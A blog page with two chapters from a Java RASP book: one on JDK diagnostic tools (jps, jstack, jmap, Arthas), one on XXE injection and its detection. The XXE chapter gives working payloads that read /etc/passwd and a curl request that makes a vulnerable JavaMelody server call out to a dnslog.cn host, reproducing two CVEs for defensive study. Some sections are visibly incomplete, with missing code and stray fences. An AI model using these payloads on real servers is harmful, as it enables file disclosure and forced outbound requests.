Blog

Common Tools

Apr 12, 2025

ven coding

Dev @ Okrasp

7.0 Chapter Introduction

“A craftsman must sharpen his tools to do his work well.” During Java Agent development, various issues are inevitable, such as CPU spikes, memory leaks, thread deadlocks, and even triggering JDK bugs. Quickly and accurately identifying performance bottlenecks and faults is crucial, and proficiency with various tools forms the foundation for troubleshooting. This chapter primarily introduces the principles and usage of various performance diagnostic tools, illustrated through several practical examples. We’ll first cover JDK built-in tools like jps, jstack, and jmap, then the open-source Chinese tool Arthas, followed by graphical tools like Eclipse MAT, VisualVM, and JProfile.

7.1 jps Tool

7.1.1 Basic Usage

In UNIX systems, the ps command is commonly used to display current system processes, including their pids. Similarly, Java has its counterpart command jps specifically designed to query Java process information.

jps (Java Virtual Machine Process Status Tool) is a JDK 1.5-provided command that displays pids of all current Java processes. Simple yet practical, it’s particularly useful on Linux/Unix platforms for viewing basic Java process information. It helps determine how many Java processes are running on the system and can show detailed startup parameters through different options. Example output:

$ jps
1828 server.jar
18392 Jps
654 QuorumPeerMain
2142 Kafka

The command format is jps [ options ] [ hostid ]. Use jps -help to view the syntax:

$ jps -help
usage: jps [-help]
jps [-q] [-mlvV] [<hostid>]

Common parameters are shown in the following table:

• No parameters (-V) Default displays pid and main class name

$  jps -V
68359
19481 org.eclipse.equinox.launcher_1.6.400.v20210924-0641.jar
75818 org.eclipse.equinox.launcher_1.6.400.v20210924-0641.jar
73582 Jps

• -q Only shows pid

$ jps -q
73621
68359
19481
75818

• -m Displays pid and arguments passed to main method

73646 Jps -m

• -l Displays pid and full package name of main class or application jar path

$ jps -l
48535 org.jetbrains.jps.cmdline.Launcher
61977 jdk.jcmd/sun.tools.jps.Jps
47802

• -v Displays pid and JVM startup parameters

$ jps -v
62076 javamelody-xxe-0.0.1-SNAPSHOT.jar

However, jps isn’t perfect—it has limitations. For example, it only shows Java processes for the current user, which can be inconvenient during troubleshooting. To view Java processes started by other users, you must still rely on UNIX/Linux’s ps command. Later we’ll analyze the source code to understand jps’ implementation principles and why these limitations exist.### 7.1.2 Source Code Analysis The source code of the jps tool class is located in the sun.tools.jps.Jps.java class, with the core code shown below.

First, it retrieves running Java processes from a specific host, then outputs information about these processes. If parameters are provided, it additionally outputs the required information specified by those parameters. There are two main approaches to obtaining Java processes from a host: one is local, and the other is through RMI remote invocation.

public class Jps {

    private static Arguments arguments;

    public static void main(String[] args) {
        // Parse -qVlmv parameters
        arguments = new Arguments(args);

        try {
            HostIdentifier hostId = arguments.hostId();
            MonitoredHost monitoredHost =
                    MonitoredHost.getMonitoredHost(hostId);
            // Here we already have all Java process pids
            // get the set active JVMs on the specified host.
            Set<Integer> jvms = monitoredHost.activeVms();
            // Retrieve Java process information and output to console
            for (Integer jvm: jvms) {
                StringBuilder output = new StringBuilder();
                Throwable lastError = null;

                int lvmid = jvm;
                // Output pid information
                output.append(String.valueOf(lvmid));
                // Output other information like main args, main class, etc. (omitted)
            }
        } catch (MonitorException e) {
            //...
        }
    }
}

Note the monitoredHost.activeVms() method in the above code, which retrieves the list of pids. The implementation for obtaining local processes is in the sun.jvmstat.perfdata.monitor.protocol.local.LocalVmManager class. Let’s first examine what the LocalVmManager initializes.

public LocalVmManager(String user) {
    this.userName = user;    if (userName == null) {
        // Get system temporary directory
        tmpdir = new File(PerfDataFile.getTempDirectory());
        // Regex pattern for user directory, e.g.: hsperfdata_root
        userPattern = Pattern.compile(PerfDataFile.userDirNamePattern);
        userMatcher = userPattern.matcher("");

        userFilter = new FilenameFilter() {
            public boolean accept(File dir, String name) {
                userMatcher.reset(name);
                return userMatcher.lookingAt();
            }
        };
    } else {
        tmpdir = new File(PerfDataFile.getTempDirectory(userName));
    }

    // Regex pattern for process files
    filePattern = Pattern.compile(PerfDataFile.fileNamePattern);
    fileMatcher = filePattern.matcher("");

    fileFilter = new FilenameFilter() {
        public boolean accept(File dir, String name) {
            fileMatcher.reset(name);
            return fileMatcher.matches();
        }
    };

    tmpFilePattern = Pattern.compile(PerfDataFile.tmpFileNamePattern);
    tmpFileMatcher = tmpFilePattern.matcher("");

    tmpFileFilter = new FilenameFilter() {
        public boolean accept(File dir, String name) {
            tmpFileMatcher.reset(name);
            return tmpFileMatcher.matches();
        }
    };
}

The implementation of PerfDataFile.getTempDirectory() is as follows, the path of this temporary directory is:

public static String getTempDirectory(String user) {
    return tmpDirName + dirNamePrefix + user + File.separator;
}

Get process PID from file name

public static int getLocalVmId(File file) {
    int lvmid = 0;                                                          ```

    try {
        // try 1.4.2 and later format first
        // Use process ID as file name
        return Integer.parseInt(file.getName());
    } catch (NumberFormatException e) { }
    // now try the 1.4.1 format
    // ...
    // File name differs in version 1.4.1
    throw new IllegalArgumentException("file name does not match pattern");
}

The LocalVmManager constructor obtains the temporary directory of the current user. Continuing into the LocalVmManager.activeVms method.

public synchronized Set<Integer> activeVms() {
    Set<Integer> jvmSet = new HashSet<Integer>();```
if (! tmpdir.isDirectory()) {
        return jvmSet;
    }

    if (userName == null) {
        File[] dirs = tmpdir.listFiles(userFilter);

        for (int i = 0 ; i < dirs.length; i ++) {
            if (!dirs[i].isDirectory()) {
                continue;
            }

            File[] files = dirs[i].listFiles(fileFilter);

            if (files != null) {
                for (int j = 0; j < files.length; j++) {
                    if (files[j].isFile() && files[j].canRead()) {
                        jvmSet.add(new Integer(
                                PerfDataFile.getLocalVmId(files[j])));
                    }
                }
            }
        }
    } else {
        File[] files = tmpdir.listFiles(fileFilter);

        if (files != null) {
            for (int j = 0; j < files.length; j++) {
                if (files[j].isFile() && files[j].canRead()) {
                    jvmSet.add(new Integer(
                            PerfDataFile.getLocalVmId(files[j])));
                }
            }
        }
    }

    File[] files = tmpdir.listFiles(tmpFileFilter);
    if (files != null) {
        for (int j = 0; j < files.length; j++) {
            if (files[j].isFile() && files[j].canRead()) {
                jvmSet.add(new Integer(
                        PerfDataFile.getLocalVmId(files[j])));
            }
        }
    }

    return jvmSet;
}

Here we can clearly see that when the jps command retrieves actual process IDs, it obtains the process PIDs from the user’s temporary directory. The specific file path is: /tmp_dir/hsperfdata_user/pid

For example, take a machine running Java processes:Note that the location of the temporary directory on Mac is different.

7.1.4 Common Issues with jps Usage

• Java process has exited, but the pid file in the hsperfdata directory was not cleaned up

Normally, when a process exits, it automatically deletes the pid file under hsperfdata. However, in certain extreme cases, such as when receiving a kill -9 signal that the JVM cannot catch, the process exits directly without performing resource cleanup tasks. In such cases, you may find that although the process is gone, the file still exists. Does this file remain indefinitely until manually deleted? The JVM accounts for this scenario: when any subsequent Java process (e.g., when executing jps) starts under the current user, it performs a check, scanning all process files under /tmp/hsperfdata_${user} and verifying whether each process still exists. If a process no longer exists, the corresponding file is deleted immediately. The specific check involves sending a kill -0 signal to detect any exceptions.

• Java process is still running, but the corresponding pid file in hsperfdata was deleted

Since this file is only initialized once, tools like jps, jstat, and jmap become unusable after its deletion. This situation is relatively common, especially when disk space is low—users often delete all files under /tmp, thereby removing the hsperfdata directory.

• Insufficient disk space or directory permission issues.

If the current user lacks write permissions for /tmp or the disk is full, creating the /tmp/hsperfdata_xxx/pid file will fail. Alternatively, if the file already exists but the user lacks read permissions.

7.1.5 Automatic Monitoring of Java Processes

In Golang, to monitor Java processes running on a host, we typically use APIs from packages like github.com/shirou/gopsutil/process to periodically fetch all processes and filter Java processes based on command-line parameter characteristics. This approach can suffer from performance issues and inefficiency when dealing with many processes, and short-lived Java processes may go undetected. In Java, Runtime.exec is commonly used to execute the jps -l command and retrieve Java processes. The following code snippet from Arthas, a renowned Java performance diagnostic tool, demonstrates how to list Java processes under the current user:

private static Map<Long, String> listProcessByJps(boolean v) {
        Map<Long, String> result = new LinkedHashMap<Long, String>();

        String jps = "jps";
        File jpsFile = findJps();
        if (jpsFile != null) {
            jps = jpsFile.getAbsolutePath();
        }

        AnsiLog.debug("Try use jps to lis java process, jps: " + jps);```java
String[] command = null;
if (v) {
    command = new String[] { jps, "-v", "-l" };
} else {
    command = new String[] { jps, "-l" };
}
// Actually calls Runtime.getRuntime().exec()
List<String> lines = ExecutingCommand.runNative(command);

AnsiLog.debug("jps result: " + lines);

long currentPid = Long.parseLong(PidUtils.currentPid());
for (String line : lines) {
    String[] strings = line.trim().split("\\s+");
    if (strings.length < 1) {
        continue;
    }
    try {
        long pid = Long.parseLong(strings[0]);
        if (pid == currentPid) {
            continue;
        }
        if (strings.length >= 2 && isJpsProcess(strings[1])) { // skip jps
            continue;
        }

        result.put(pid, line);
    } catch (Throwable e) {
        // ignore
    }
}

return result;
}

The above implementation has several issues:

First, it can only retrieve Java processes created by the current user and cannot monitor processes started by other users.

Second, it cannot detect process termination and can only wait for the Agent to exit abnormally.

In the previous section, we analyzed that the core principle of the jps tool for detecting Java processes is: traversing local pid files of Java processes. After JVM startup, it dumps information into the /tmp/hsperfdata_{username}/pid file, and parsing this file allows obtaining process information. Therefore, we only need to monitor the creation and deletion of these pid files to achieve monitoring of Java process startup and termination. Here, we use fnotify to monitor the creation/destruction of pid files.

Implementation approach: Two file listeners are created. The first listener monitors the creation of user directories /tmp/hsperfdata_*, and the second listener monitors the creation of pid files under /tmp/hsperfdata_*/. The specific implementation first monitors folder creation under /tmp. If a folder starts with “hsperfdata_”, it is added to the pid file listener to monitor pid files. The implementation code is as follows:

7.2 jstack Tool

jstack is used to generate Java thread dump snapshots for analyzing the thread states and call stack information of Java applications. It helps developers identify issues such as deadlocks, infinite loops, thread blocking, and analyze core dump files. Additionally, it provides thread execution traces, facilitating thread-level troubleshooting. jstack is highly valuable and one of the essential tools for Java programmers in fault diagnosis.

7.2.1 Basic Usage

Its usage can be viewed via jstack -help.

MacBook-Pro root$ jstack -help
Usage:
    jstack [-l] <pid>
        (to connect to running process)
    jstack -F [-m] [-l] <pid>
        (to connect to a hung process)
    jstack [-m] [-l] <executable> <core>
        (to connect to a core file)
    jstack [-m] [-l] [server_id@]<remote server IP or hostname>
        (to connect to a remote debug server)

Options:
    -F  to force a thread dump. Use when jstack <pid> does not respond (process is hung)
    -m  to print both java and native frames (mixed mode)
    -l  long listing. Prints additional information about locks
    -h or -help to print this help message

Usage instructions:

The option parameters are explained as follows:

• -F: Forces a thread dump when normal output requests are not responded to;
• -m: Displays native stack traces if threads call native methods;
• -l: In addition to stack traces, shows additional lock information. Use jstack -l pid to observe lock ownership in case of deadlocks;

7.2.2 Source Code Analysis

Source location: src/jdk.jcmd/share/classes/sun/tools/jstack/JStack.java

The core implementation is as follows:

private static void runThreadDump(String pid, String args[]) throws Exception {
    VirtualMachine vm = null;
    try {
        vm = VirtualMachine.attach(pid);
    } catch (Exception x) {
        // Exception handling
    }

    InputStream in = ((HotSpotVirtualMachine)vm).remoteDataDump((Object[])args);```
    // Read to EOF and print output
    byte b[] = new byte[256];
    int n;
    do {
        n = in.read(b);
        if (n > 0) {
            String s = new String(b, 0, n, "UTF-8");
            System.out.print(s);
        }
    } while (n > 0);
    in.close();
    vm.detach();
}

The basic principle is to read information from the target JVM based on the Attach mechanism. Let’s examine the remoteDataDump method of HotSpotVirtualMachine, implemented as follows:

public InputStream remoteDataDump(Object ... args) throws IOException {
    return executeCommand("threaddump", args);
}

The underlying implementation involves sending a threaddump command to the target JVM after successful attachment, then processing the JVM’s response. The Attach mechanism has been explained in detail in previous chapters and won’t be reiterated here.

7.2.3 Deadlock Analysis

The following demonstrates a simple multi-threaded lock usage scenario where two threads acquire locks in reverse order, creating a deadlock. We’ll then use the jstack tool to analyze the thread deadlock situation.

import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
``````java
public class DeathLockDemo {
    private static Lock lock1 = new ReentrantLock();
    private static Lock lock2 = new ReentrantLock();

    public static void main(String[] args) {
        Thread t1 = new Thread() {
            @Override
            public void run() {
                try {
                    lock1.lock();
                    System.out.println(Thread.currentThread().getName() + " get the lock1");
                    Thread.sleep(1000);
                    lock2.lock();
                    System.out.println(Thread.currentThread().getName() + " get the lock2");
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        };
        Thread t2 = new Thread() {
            @Override
            public void run() {
                try {
                    lock2.lock();
                    System.out.println(Thread.currentThread().getName() + " get the lock2");
                    Thread.sleep(1000);
                    lock1.lock();
                    System.out.println(Thread.currentThread().getName() + " get the lock1");
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        };
        t1.setName("thread1");
        t2.setName("thread2");
        t1.start();
        t2.start();
    }
}

Use jstack -l $pid to view thread stack information and analyze the deadlock details in the stack as shown in Figure 7-1 below:

Figure 7-1 jstack deadlock information output

From the stack trace of the deadlocked thread, we can see that the deadlock occurred at DeathLockTest.java:15. By examining the source code at this location, we can analyze the details of the deadlock.

7.2.4 CPU Performance Analysis

7.2.4.1 Manual Analysis of jstack Output

The recursive algorithm for Fibonacci sequence can cause CPU spikes when recursion depth increases. This example demonstrates how to diagnose such system issues.

// Calculate Fibonacci sequence
public class Fibonacci {

    public static int fib(int n) {
        if (n <= 1)
            return n;
        else
            return fib(n - 1) + fib(n - 2);
    }

    public static void main(String args[]) {
        int cnt = fib(1000);
        System.out.println("cnt: " + cnt);
    }
}

• Use the top command to identify which process has high CPU usage.

Figure 7-5 Checking process CPU spike

• Use top -H -p 2332023 to check which thread has high CPU usage.

Figure 7-6 Checking thread CPU spike

• Convert thread IDs 2332037 and 2332038 to hexadecimal

printf '%x' 2332038 //Output: 239586

• Use jstack to examine the corresponding threads, using thread id=0x239586 as an example

Figure 7-7 Using jstack to view call stack of corresponding thread ID

The above steps can be cumbersome in production environments. If the CPU spike is short-lived, it might be missed. Alternatively, you can use the following script:

7.2.4.2 Using fastthread.io to Analyze Stack Output

jstack outputs the thread states of the JVM. In production environments with complex business logic, the number of threads can reach hundreds, making it difficult to visually identify potential performance issues. Tools are often needed for assisted analysis.

https://fastthread.io is a professional thread stack analysis website that not only graphically analyzes hot code and deadlocks but also exports flame graphs.

Figure 7-2 below shows the homepage of fastthread.io. Simply copy the jstack output into the analysis window.

Figure 7-2 Homepage of fastthread.io analysis website

Below is an analysis of a real CPU spike scenario from production:

The Smart Report from Thread Dump is shown in Figure 7-3:

Figure 7-3 fastthread Smart Report

The analysis report states: “7 threads are in RUNNABLE state and they all have same stack trace. If your application’s CPU consumption is high, it’s caused because of this stack trace.”

Let’s examine the thread stack details. The analysis of threads with identical stacks is shown in Figure 7-4:> Figure 7-4 fastthread Thread Analysis with Identical Stack Traces

Through the above analysis, a large number of threads executing com.jrasp.agent.module.sql.algorithm.impl.AbstractAlgorithm.lcsSearch caused the CPU usage to spike.
The performance bottleneck can be easily identified, and targeted code optimization can effectively resolve the high CPU usage issue.

7.3 jmap Tool

jmap (Java Virtual Machine Memory Map) is a command-line tool provided by the JDK that can generate heap dump snapshot files of the Java Virtual Machine.
In addition, the jmap command can also inspect the finalize execution queue, as well as detailed information about the Java heap and method area,
such as space utilization, the garbage collector currently in use, generational details, and more.

7.3.1 Command Parameters

Its usage can be viewed via jmap -help.

• -heap

Prints a summary of the Java heap, including the GC algorithm used, heap configuration parameters, and memory usage across generations.

• -histo[:live]

Displays statistics of objects in the Java heap, including object count, memory usage (in bytes), and fully qualified class names. If :live is appended, only live objects are counted.

Typically, the JVM has a large number of classes, and jmap -histo outputs extensive content. Filter conditions can be added to the command, such as:
jmap -histo:live 48535 | grep com.alibaba.
This command counts all live objects in the heap and triggers a full GC before collecting statistics.

7.3.2 Implementation Principle

The main function of the Jmap class primarily handles parameter parsing.

Source location: jdk11/src/jdk.jcmd/share/classes/sun/tools/jmap/JMap.java

public class JMap {```java
    public static void main(String[] args) throws Exception {
        // Help command and parameter parsing
        String pidArg = args[1];

        ProcessArgumentMatcher ap = new ProcessArgumentMatcher(pidArg);
        Collection<String> pids = ap.getVirtualMachinePids(JMap.class);

        // Execute different commands based on input
        for (String pid : pids) {
            if (pids.size() > 1) {
                System.out.println("Pid:" + pid);
            }
            if (option.equals("-histo")) {
                histo(pid, "");
            } else if (option.startsWith("-histo:")) {
                // If "-histo:" is found in parameters, execute histo method
                histo(pid, option.substring("-histo:".length()));
            } else if (option.startsWith("-dump:")) {
                dump(pid, option.substring("-dump:".length()));
            } else if (option.equals("-finalizerinfo")) {
                executeCommandForPid(pid, "jcmd", "GC.finalizer_info");
            } else if (option.equals("-clstats")) {
                executeCommandForPid(pid, "jcmd", "GC.class_stats");
            } else {
                usage(1);
            }
        }
    }
}

Here we use the histo option as an example:

private static void histo(String pid, String options)
    throws AttachNotSupportedException, IOException,
           UnsupportedEncodingException {
    String liveopt = "-all";
    if (options.equals("") || options.equals("all")) {
        //  pass
    }
    // Parse live parameter
    else if (options.equals("live")) {
        liveopt = "-live";
    }
    else {
        usage(1);
    }```
    // inspectHeap is not the same as jcmd GC.class_histogram
    executeCommandForPid(pid, "inspectheap", liveopt);
}

The implementation of the executeCommandForPid method is as follows:

private static void executeCommandForPid(String pid, String command, Object ... args)
    throws AttachNotSupportedException, IOException,
           UnsupportedEncodingException {
    VirtualMachine vm = VirtualMachine.attach(pid);

    HotSpotVirtualMachine hvm = (HotSpotVirtualMachine) vm;
    try (InputStream in = hvm.executeCommand(command, args)) {
      byte b[] = new byte[256];
      int n;
      do {
          n = in.read(b);
          if (n > 0) {
              String s = new String(b, 0, n, "UTF-8");
              System.out.print(s);
          }
      } while (n > 0);
    }
    vm.detach();
}

From the source code, we can see that jmap also utilizes the Attach mechanism to send commands to the target JVM, with the command being inspectheap.

7.3.3 Typical Applications

• View large objects

jmap -histo <pid>|less

• View objects with the highest count and output in descending order:

jmap -histo <pid>|sort -k 2 -g -r|less

• View objects consuming the most memory and output in descending order

jmap -histo <pid>|sort -k 3 -g -r|less

7.4 Arthas

Arthas is an online monitoring and diagnostics tool that provides a global view of real-time application metrics including load, memory, gc, and thread status. It enables business problem diagnosis without modifying application code, offering capabilities such as viewing method input/output parameters and exceptions, monitoring method execution time, and inspecting class loading information, significantly improving online troubleshooting efficiency.

7.4.1 Installation and Usage

• Download and launchExecute the following commands in the terminal:

curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

• Select the Java process to diagnose

$ $ java -jar arthas-boot.jar
* [1]: 35542
  [2]: 71560 math-game.jar

Choose the process number to begin injection:

[INFO] Try to attach process 71560
[INFO] Attach process 71560 success.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'


wiki: https://arthas.aliyun.com/doc
version: 3.0.5.20181127201536
pid: 71560
time: 2018-11-28 19:16:24

7.4.2 Common Features

7.4.2.1 JVM Related

7.4.2.2 Class/Classloader Related

• dump Command

Dump the bytecode of loaded classes to a specific directory. The dump command saves the actual runtime class bytecode from the JVM to the specified directory, suitable for scenarios requiring batch downloads of class bytecode under specific package directories.

7.4.2.3 Monitor/Watch/Trace Related

7.4.2.4 Profiler/Flame Graphs

7.5 Eclipse MAT

7.6 VisualVM

7.7 JProfile

For graphical tools, this section will not delve into technical details but instead focus on how to use their features. Among them, JProfile is an excellent commercial performance analysis tool. This tool can analyze almost all Java performance issues. Several scenarios are introduced below.

7.7.1 Running in GUI Mode

Quickly attach to the target JVM via a graphical interface.

Generally, select Instrumentation (modifies bytecode to track method entry and exit)

Object Analysis

Heap Walker

Viewing Object Reference Relationships:

7.7.2 Agent

Tags:

• jps
• jstack
• jmap
• arthus
• eclipse mat
• visualvm
• jprofile

XXE Injection Principles and Detection

Apr 12, 2025

ven coding

Dev @ Okrasp

XXE stands for XML External Entity Injection, where an application parses XML input and processes external entities, potentially loading malicious files. This can lead to file reading, command execution, internal network port scanning, attacks on internal websites, and denial-of-service (DoS) attacks.
This chapter first introduces the basic structure of XML and parsing tools, then explains the exploitation principles and defense strategies of XXE, and finally provides hook points and detection algorithms.

14.1 XML Basics

14.1.1 Basic Structure of XML Documents

XML documents follow specific rules and are organized into components, primarily consisting of three parts: the XML declaration, Document Type Definition (DTD, where XXE vulnerabilities reside), and document elements.

• XML Declaration (Optional)

An XML document may begin with an XML declaration, which provides metadata about the document itself, such as version number and character encoding. For example:

<?xml version="1.0" encoding="UTF-8"?>

• Document Type Definition (DTD)

DTD or XML Schema is used to define the valid structure, elements, attributes, and their relationships in a document. A DTD reference might look like this:

<!DOCTYPE rootElement SYSTEM "myDTD.dtd">

Or using XML Schema:

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <!-- schema definitions go here -->
</xs:schema>

• Element Structure

Root Element: Every XML document must have exactly one root element, which serves as the container for all other elements.

Child Elements: Elements can contain other elements as their children, forming a hierarchical structure.

Attributes: Elements can have attributes, which are name/value pairs providing additional information about the element.

Text Content: Elements can contain text content or character data (CDATA) sections.

Comments: XML documents can include comments, which do not affect document parsing.

The following XML document includes the basic structure described above:

<?xml version="1.0" encoding="UTF-8"?>
<!-- This XML document example describes a simple book catalog -->

<!DOCTYPE catalog [
    <!ELEMENT catalog (book*)>
    <!ELEMENT book (title, author+, year)>
    <!ATTLIST book id ID #REQUIRED>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT year (#PCDATA)>
]><catalog>
    <!-- Book entry starts -->
    <book id="bk101">
        <title>XML Primer</title>
        <author>Zhang San</author>
        <author>Li Si</author>
        <year>2005</year>
        <description><![CDATA[This book is the perfect guide for XML beginners, covering both basic and advanced XML concepts in detail.]]></description>
    </book>

    <book id="bk102">
        <title>Java Programming</title>
        <author>Wang Wu</author>
        <year>2009</year>
    </book>
    <!-- Book entry ends -->
</catalog>

14.1.2 XML External Entities

DTD (Document Type Definition) serves to define the legal building blocks of an XML document. A DTD can be declared internally within an XML document or referenced externally.

• Internal Entities

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY bar "hello">
]>
<foo>&bar;</foo>

• External Entities

External entities use the keywords SYSTEM and PUBLIC, indicating the entity originates from local or public services. Example of an external entity:

<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

An external entity named ‘file’ is defined in the document constraint section, which is then referenced in the document element section. The format for referencing an entity is: &entity_name;.

14.2 External Entity Parsing Source Code Analysis

14.2.1 External Entity Injection for File Reading

An xxe.xml document containing external entity injection is shown below:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ENTITY firstname SYSTEM "file:///etc/passwd" >
        ]>
<user>
    <firstname>&firstname;</firstname>
    <lastname>lastname</lastname>
</user>

Using Dom4j to parse the above XML document, the code is as follows:

import org.dom4j.Document;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;

import java.io.File;```java
public class Main {
    public static void main(String[] args) throws Exception {
        File file = new File("src/main/resources/xxe.xml");
        Document doc = new SAXReader().read(file);
        Element rootElement = doc.getRootElement();
        System.out.println(rootElement.element("firstname").getText());
    }
}

Output:

##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false

//...Output truncated due to space limitations

14.2.2 Source Code Analysis and Debugging

The complete process of dom4j reading and parsing XML documents consists of three main steps:

14.2.2.1 XML File Path Processing

The primary function of the SAXReader.read method is to obtain the absolute path of the disk XML file and set the resource path for the source object.

Figure 14-1 SAXReader Reading Disk File

The relative path of xxe.xml is src/main/resources/xxe.xml. In line 308 of the above code, it obtains the absolute disk path of the XML file and represents the inputSource’s resource path in URL format. At line 325, it calls an overloaded version of the SAXReader.read method.

14.2.2.2 Creating XmlReader Object

At line 464, the getXMLReader method is called to create an XmlReader object, which is key to parsing XML documents. Let’s examine its implementation. Through debugging, we can see the critical code for creating the XMLReader as follows:

At line 46, an instance of SAXParserFactory is obtained, and the factory instance’s newSAXParser method is called. Since SAXParserFactory is an abstract class, let’s see how the factory class is instantiated. Its initialization code:

From the code, we can see the factory implementation is SAXParserFactoryImpl. Let’s examine its newSAXParser method implementation:

We can observe that in the newSAXParser method, a SAXParserImpl object is created, followed by calling the getXmlReader method as shown below:

The initialization of xmlReader occurs in the SAXParserImpl constructor. Let’s examine the constructor method of SAXParserImpl:

At this point, the class responsible for XML parsing is JAXPSAXParser, which is a subclass of SAXParser. Its UML class diagram is as follows:

14.2.2.3 XML Document Parsing

After creating the xmlReader object, the XML document reading begins. From the above UML class diagram, we can see that the actual parsing class is JAXPSAXParser, which is an inner class of SAXParserImpl. The parse method is as follows:

It actually calls its parent class’s parser method, implemented as:

At line 1216, we can see it actually calls the parse method of the XMLParser class:

In this method, fConfiguration is responsible for parsing XML. The class to which fConfiguration belongs is an interface called XMLParserConfiguration. The UML class diagram for this interface is as follows:

We can see that the actual parsing class is XML11Configuration, with relevant methods as follows:

Here it actually calls fCurrentScanner.scanDocument, where the actual document scanning begins: Looking at the next method, we can see that it parses the XML document into individual events:

Our main focus is on the parsing of entity references:

When scanning entity references, the scanEntityReference method is called. The code for this method is as follows: At line 1238, the startEntity method is called to parse the entity. The setupCurrentEntity method is responsible for parsing entity resources, implemented as follows:

At this point, the debugging of the external entity reference parsing process in XML documents is complete.

14.3 XXE Vulnerability Examples

14.3.1 CVE-2018-15531

• Vulnerability Overview

JavaMelody is a monitoring tool for JAVA applications and application servers (Tomcat, Jboss, Weblogic) in production and QA environments. It provides monitoring data through charts, helping developers and operations teams identify performance bottlenecks and optimize responses. Version 1.74.0 fixed an XXE vulnerability with CVE ID CVE-2018-15531. Attackers could exploit this vulnerability to read sensitive information on the JavaMelody server.

• Affected Versions

Versions < 1.74.0

• Fix Code

Commit link: https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353

• Vulnerability Environment Setup

Create a simple Springboot project and add the specified version dependency for javamelody in pom.xml.

<dependency>
    <groupId>net.bull.javamelody</groupId>
    <artifactId>javamelody-spring-boot-starter</artifactId>
    <version>1.73.1</version>
</dependency>

After starting the application, access the monitoring page at http://localhost:8080/monitoring. The result is as follows:

• Register a DNS domain

Domain: 4yf5lc.dnslog.cn The request is sent as follows:

curl --location --request POST 'http://localhost:8080' \
--header 'Content-type: text/xml' \
--header 'SOAPAction: aaaaa' \
--data-raw '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://www.4yf5lc.dnslog.cn">
%remote;
]>
</root>'

Alternatively, you can send the request using Postman:

• Observe the Results

You can see that the dnslog.cn platform has recorded the server’s IP information.

Partial logs intercepted by RASP are shown below:

14.3.2 CVE-2018-1259

• Vulnerability Overview

XMLBeans provides an object view of underlying XML data while allowing access to the original XML information set. When used in combination with XMLBeam 1.4.14 or earlier versions, Spring Data Commons versions 1.13 to 1.13.11 and 2.0 to 2.0.6 do not restrict XML external entity references. This allows unauthenticated remote malicious users to exploit specific parameters in Spring Data’s request binding to access arbitrary files on the system.

• Affected Versions

Spring Data Commons 1.13 to 1.13.11
Spring Data REST 2.6 to 2.6.11
Spring Data Commons 2.0 to 2.0.6
Spring Data REST 3.0 to 3.0.6

• Vulnerability Analysis

The vulnerability fix commit reveals modifications to the DefaultXMLFactoriesConfig file as shown below:

commit: https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1

The changes configure default features, disable entity references, and prevent merging multiple XML documents.

• Reproduction

The code is sourced from the official spring-data-examples demo: spring-data-xml-xxe.

• The code originates from the official spring-data-examples project, with key sections as follows:

@RestController
class UserController {
    @ProjectedPayload
    public interface UserPayload {
        @XBRead("//firstname")
        @JsonPath("$..firstname")
        String getFirstname();

        @XBRead("//lastname")
        @JsonPath("$..lastname")
        String getLastname();
    }```
    @PostMapping(value = "/")
    HttpEntity<String> post(@RequestBody UserPayload user) {
        return ResponseEntity
                .ok(String.format("Received firstname: %s, lastname: %s", user.getFirstname(), user.getLastname()));
    }
}

Project pom.xml dependencies:

<dependency>
    <groupId>org.springframework.data</groupId>
    <artifactId>spring-data-commons</artifactId>
    <version>2.0.5.RELEASE</version>
</dependency>

<dependency>
    <groupId>com.jayway.jsonpath</groupId>
    <artifactId>json-path</artifactId>
</dependency>

<dependency>
    <groupId>org.xmlbeam</groupId>
    <artifactId>xmlprojector</artifactId>
    <version>1.4.13</version>
</dependency>

If you are familiar with Spring Boot project creation, the above code can build a complete application. After the project is built, compile it into an executable jar package and run it:

mvn clean package
java -jar ./target/xxe-demo-0.0.1-SNAPSHOT.jar

• Sending Requests

Arbitrary file reading by sending XML format payload via POST: Example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ELEMENT foo ANY >
        <!ENTITY file SYSTEM "file:///etc/passwd" >
        ]>
<user><firstname>&file;</firstname><lastname>rasp</lastname></user>

Send the request using Postman as shown below:

• Observing Results

Partial logs intercepted by RASP are as follows:

14.4 Hook Point Selection and Detection Algorithm

14.4.1 Hook Class Selection

Although there are many XML parsing middleware, it’s sufficient to hook the XML entity parsing part. For example, both DOM4J and JAXP tools rely on apache-xerces for XML entity parsing. Relevant hook points are summarized as follows:

• Open-source tool apache.xerces

